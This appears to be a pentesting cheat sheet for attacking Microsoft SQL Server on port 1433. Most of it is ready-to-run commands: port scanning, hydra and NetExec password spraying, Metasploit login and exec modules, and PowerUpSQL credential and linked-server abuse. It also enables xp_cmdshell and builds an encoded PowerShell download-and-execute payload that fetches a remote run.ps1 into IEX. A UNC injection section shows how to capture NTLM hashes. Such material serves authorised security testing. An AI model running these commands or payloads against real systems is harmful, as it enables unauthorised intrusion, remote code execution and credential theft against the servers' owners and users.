Pentesting MSSQL

Port 1433 MSSQL
Microsoft SQL Server is a widely used relational database management system that listens by default on TCP port 1433. In Windows-heavy environments, it’s not uncommon to find internal or exposed instances that allow unauthenticated enumeration or suffer from weak configurations. These instances can be leveraged to gain initial access, pivot further within a network, or even execute system-level commands via features like xp_cmdshell.

When encountering an open MSSQL port, your first steps should focus on identifying exposed services, accessible databases, valid users, and weak credentials. From there, you can begin exploiting available stored procedures and extended functions or escalate via trusted links and UNC injection.

Discovery and Enumeration

Before proceeding with enumeration and further penetration testing steps, it’s important to identify which systems are exposing MSSQL on port 1433. Use the tools below to locate live targets quickly.

nmap -p 1433 -Pn -n 10.1.1.1.                #Scan an IP for port 1433 open
nmap -p 1433 -Pn -n 10.0.0.0/24              #Scan network for hosts with port 1433 open
nmap -p 1433 -Pn -n -iL targets.txt          #Scan a file of hosts for open port 1433
masscan -p1433 10.1.1.0/24 --rate=10000      #Fast discovery across wide ranges
zmap -p 1433 10.1.1.0/24                     #Lightweight single-port scanning at scale

For service validation and banner grabbing:

nmap -sV -p1433 10.1.1.0/24                   #Detect MSSQL and grab version info

To discover SQL servers over NetBIOS, use:

nbtscan 10.1.1.0/24                #Find hostnames, workgroups, and NetBIOS data

 

Initial Enumeration

Once port 1433 is discovered, the first step is to extract as much information as possible using Nmap and other automated tools. These NSE scripts can reveal valuable data such as versioning, domain names, and authentication methods, even without valid credentials.

nmap -p1433 --script=ms-sql-empty-password.nse --script-args=unsafe=1 -v 10.1.1.1                       #Check for blank SA password
nmap -p1433 --script=ms-sql-info.nse --script-args=unsafe=1 -v 10.1.1.1                                 #Retrieve MSSQL version, hostname, domain, etc.
nmap -p1433 --script=ms-sql-ntlm-info.nse --script-args=unsafe=1 -v 10.1.1.1                            #Get NTLM auth and domain info via NTLM
nmap -p1433 --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1 -v 10.1.1.1                   #Discover MSSQL instances across the local network

You can combine multiple scripts into one big scan using the command below:

#Full enumeration with all common MSSQL NSE scripts
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes \
--script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 10.1.1.1

 

NSE Script Directory

Here are the most useful Nmap NSE scripts for MSSQL:

/usr/share/nmap/scripts/broadcast-ms-sql-discover.nse         #Discover SQL services
/usr/share/nmap/scripts/http-sql-injection.nse                #HTTP SQL injection (generic)
/usr/share/nmap/scripts/ms-sql-brute.nse                      #Brute-force MSSQL
/usr/share/nmap/scripts/ms-sql-config.nse                     #MSSQL config dump
/usr/share/nmap/scripts/ms-sql-dump-hashes.nse                #Attempt hash dump
/usr/share/nmap/scripts/ms-sql-empty-password.nse             #Test for blank passwords
/usr/share/nmap/scripts/ms-sql-hasdbaccess.nse                #Check database access
/usr/share/nmap/scripts/ms-sql-info.nse                       #Version, host, and domain info
/usr/share/nmap/scripts/ms-sql-xp-cmdshell.nse                #Check xp_cmdshell availability

Brute Force Attacks

If the server doesn’t allow unauthenticated access, you can try credential attacks using known usernames (like sa) and common passwords.

Hydra is a popular tool for brute-forcing several protocols, including MSSQL. It can be found here: https://github.com/vanhauser-thc/thc-hydra

hydra -l sa -p 'Password1' 10.1.1.1 mssql                                         #Attempt login with known user/pass
hydra -l sa -P Passwords.txt 10.1.1.1 mssql                                       #Attempt login with known user and brute force password
hydra -l admin@test-dev9368 -P /usr/share/wordlists/rockyou.txt 10.1.1.1 mssql    #Azure SQL brute-force (username must include @dbname)

NetExec can be used to brute-force and password-spray MSSQL servers. It can be found here: https://github.com/Pennyw0rth/NetExec/releases

netexec mssql 10.1.1.0/24 -u 'sa' -p passwordfile         #Password spraying MSSQL user
netexec mssql 10.1.1.0/24 -u userfile -p passwordfile     #Password spraying MSSQL

Connecting to the Database

With credentials discovered in the above techniques, connect to the database server using any of the following tools, sqlcmd, EvilSQLClient and Impacket, to explore tables, stored procedures, and user roles. This can also help identify lateral movement opportunities.

sqlcmd -S SERVER\TEST -Q "SELECT name FROM master.dbo.sysdatabases"             #Enumerate databases via Microsoft’s sqlcmd utility
esc.exe                                                                         #EvilSQLClient – GUI-like CLI client for MSSQL exploitation
python mssqlclient.py DOMAIN/username:'password'@target -windows-auth           #Impacket's powerful MSSQL client using Windows authentication

GUI tools like DBeaver or HeidiSQL also provide a visual interface for further enumeration and SQL query execution.

Metasploit Login and Enumeration

Metasploit includes several modules for MSSQL, covering login attempts, enumeration, and command execution via xp_cmdshell. It’s can be very useful for automating exploitation or quickly testing credentials across multiple targets.

To log in using Metasploit:

msfconsole                                     
use auxiliary/scanner/mssql/mssql_login        
set RHOSTS 10.1.1.1                         
set USERNAME sa                                
set PASSWORD P@ssw0rd                           
set RPORT 1433                                  
run                                             

Once you have valid MSSQL credentials you can enumerate databases or execute commands:

use auxiliary/admin/mssql/mssql_enum            
set RHOSTS 10.1.1.1
set USERNAME sa
set PASSWORD P@ssw0rd
run

To execute OS commands such as whoami via xp_cmdshell:

use auxiliary/admin/mssql/mssql_exec
set RHOSTS 10.1.1.1
set USERNAME sa
set PASSWORD P@ssw0rd
set CMD whoami
run

PowerUpSQL

PowerUpSQL opens the door to a wide range of SQL pentesting capabilities. Whether you’re enumerating linked servers, uncovering stored credentials, or auditing for privilege escalation paths, PowerUpSQL helps automate and simplify the process for red teamers and pentesters.

Import-Module .\PowerUpSQL.ps1

Basic MSSQL Instance Discovery

It is important to map out the SQL landscape first. PowerUpSQL provides threaded discovery functions that can scan the domain or a list of hosts to identify accessible SQL instances.

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose                      #Discover all reachable SQL instances in the domain
Get-SQLInstanceFile -FilePath .\machines.txt | Get-SQLInstanceScanUDPThreaded       #Scan multiple hosts from a list to identify SQL instances over UDP

 

Weak Credential Audit

Once you’ve identified SQL instances, the next step is testing for weak or default credentials. PowerUpSQL includes built-in functionality to perform these checks for you.

Invoke-SQLAuditWeakLoginPw -Verbose -Instance 10.1.1.1     #Audit the target for weak SQL credentials (uses a built-in weak password list)
Bulk Credential Audit

Auditing one host is good. Auditing all of them is even better. This loop lets you automate credential auditing across a list of SQL instances, saving you time.

#Audit many SQL servers in a loop for misconfigurations and weak logins
foreach ($line in Get-Content "sql_instances.txt") {
    Invoke-SQLAudit -Verbose -Instance $line
}

If you’re testing accessibility and want to log all discovered weak credentials, use the following pattern to save the results to a file:

#Save weak credentials found during audits
Import-Module .\PowerUpSQL.ps1
$results = foreach ($line in Get-Content "Instances_Accessible.txt") {
    Invoke-SQLAuditWeakLoginPw -Verbose -Instance $line
}
$results | Out-File -FilePath weak-passes.txt -Append

 

Linked Servers & Lateral Movement

Linked SQL Servers can allow you to pivot across systems, often bypassing traditional network segmentation. PowerUpSQL makes it easy to enumerate and interact with these links.

Get-SQLServerLink -Instance 10.1.1.1          #Enumerate linked SQL servers (potential lateral movement paths)
Get-SQLServerLinkCrawl -Instance 10.1.1.1     #Crawl all discovered linked servers recursively

If xp_cmdshell is available on the linked server, you can even execute commands:

Invoke-SQLServerLinkCommand -Instance 10.1.1.1 -Query "whoami"      #Execute a query on a linked server

 

Stored Credentials & Trusts

SQL servers may store credentials or have trust relationships that can be abused. Use these commands to identify juicy targets and configuration weaknesses.

Get-SQLServerInfo -Instance 10.1.1.1          #Gather SQL Server configuration info (user, version, domain, etc.)
Get-SQLStoredCredential -Instance 10.1.1.1    #Extract stored SQL credentials (if any)
Get-SQLServerTrust -Instance 10.1.1.1         #Check for database trust relationships

 

Privilege Escalation Checks

Understanding your current level of access is key. PowerUpSQL allows you to query roles and permission sets to identify paths for privilege escalation.

Get-SQLServerRole -Instance 10.1.1.1                    #Check your role on the SQL server
Get-SQLServerPrivilegedRoleMember -Instance 10.1.1.1    #Identify members of high-privilege SQL roles (like sysadmin)
Get-SQLServerLoginDefaultPw -Instance 10.1.1.1          #Check if any SQL logins are using default credentials

 

File Access & OS Command Execution

If xp_cmdshell is enabled, you can interact with the underlying OS beyond the database. This often allows you to exfiltrate data or execute malicious binaries.

Invoke-SQLOSCmd -Instance 10.1.1.1 -Command "whoami"                           #Run system commands via xp_cmdshell (if enabled)
Invoke-SQLQuery -Instance 10.1.1.1 -Query "SELECT * FROM master..syslogins"    #Run arbitrary SQL queries
Get-SQLServerFile -Instance 10.1.1.1 -FilePath "C:\Windows\win.ini"            #Read files from the SQL server host if permissions allow

 

Parallel Scanning & Threading

When working in large environments, performance matters. These threaded scans allow for faster enumeration and instance crawling:

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Threads 20 -Verbose    #Speed up scanning with multi-threading
Get-SQLServerLinkCrawl -Threads 10 -Instance 10.1.1.1                         #Speed up linked server crawling

Remote Code Execution (xp_cmdshell)

If xp_cmdshell is enabled (or can be enabled), you can execute arbitrary commands on the SQL server’s host system. This is one of the most dangerous misconfigurations in SQL Server and offers direct shell access via SQL.

EXEC sp_configure 'show advanced options', '1'; RECONFIGURE;                  #Enable advanced options
EXEC sp_configure 'xp_cmdshell', '1'; RECONFIGURE;                            #Enable xp_cmdshell
EXEC master..xp_cmdshell 'whoami';                                            #Execute OS command

 

Manual Command Injection via HeidiSQL

If you’re using HeidiSQL or another SQL GUI and want to test RCE manually, you can enable xp_cmdshell and pass PowerShell payloads directly into SQL.

EXEC sp_configure 'show advanced options', '1'; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', '1'; RECONFIGURE;

DECLARE @SQL varchar(8000)
SET @SQL = 'powershell -enc ZgB1AG4AYwB0AGkAbwBuAC.......'                     #Encoded PowerShell payload
EXEC master..xp_cmdshell @SQL

To generate the base64-encoded command:

$text = "(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Captain404/shells/main/run.ps1') | IEX"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
$encodedtext = [Convert]::ToBase64String($bytes)
$encodedtext > encoded.txt                                                                                                       #Save payload for injection

UNC Injection (Out-of-Band)

Another common abuse method is UNC injection, which triggers outbound SMB connections from the SQL server to your listener. This can be used for NTLM relay or hash capture via Responder.

xp_dirtree '\\10.1.1.1\file'                                          #Initiate SMB request
xp_fileexist '\\10.1.1.1\file'                                        #SMB file existence probe
DECLARE @user varchar(100); SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.10.1.1.1\aa"');                # Use SQL user as subdomain